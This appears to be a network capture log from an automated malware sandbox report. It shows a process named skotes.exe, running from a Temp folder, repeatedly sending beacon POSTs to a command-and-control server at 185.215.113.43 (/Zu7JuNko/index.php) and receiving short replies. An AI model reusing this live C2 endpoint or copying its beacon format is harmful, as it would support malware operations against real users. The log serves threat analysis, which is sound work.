Nov 24, 2024 02:18:30.416362047 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:18:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	50318	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:18:32.167989969 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:18:33.601078987 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:18:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.4	50325	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:18:35.226181030 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 02:18:36.561320066 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:18:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.4	50327	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:18:38.311625957 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:18:39.698756933 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:18:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	50331	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:18:41.335350037 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 02:18:42.791409016 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:18:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.4	50334	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:18:44.527373075 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:18:45.915823936 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:18:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.4	50335	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:18:47.551461935 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 02:18:48.993638039 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:18:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	50342	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:18:50.731283903 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:18:52.078984976 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:18:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.4	50343	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:18:53.710629940 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 02:18:55.176470995 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:18:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.4	50344	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:18:56.921988964 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:18:58.298809052 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:18:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.4	50350	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:18:59.927345991 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 02:19:01.262248039 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:19:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.4	50351	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:19:02.991447926 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:19:04.367759943 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:19:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.4	50352	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:19:05.993241072 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 02:19:07.414751053 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:19:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.4	50354	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:19:09.151182890 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:19:10.586313963 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:19:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.4	50356	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:19:12.216469049 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 02:19:13.675076962 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:19:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.4	50358	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:19:15.406992912 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:19:16.763638973 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:19:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.4	50359	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:19:18.389198065 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 02:19:19.836116076 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:19:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.4	50361	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:19:21.567084074 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:19:23.084445000 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:19:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.4	50362	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:19:24.710607052 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 02:19:26.236644983 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:19:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.4	50363	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:19:27.981954098 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:19:29.359678984 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:19:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.4	50364	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:19:30.994385004 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 02:19:32.376801968 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:19:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.4	50365	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:19:34.110913992 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:19:35.501946926 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:19:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.4	50366	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:19:37.146493912 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 02:19:38.491580963 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:19:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.4	50367	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:19:40.219209909 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:19:41.560561895 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:19:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.4	50369	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
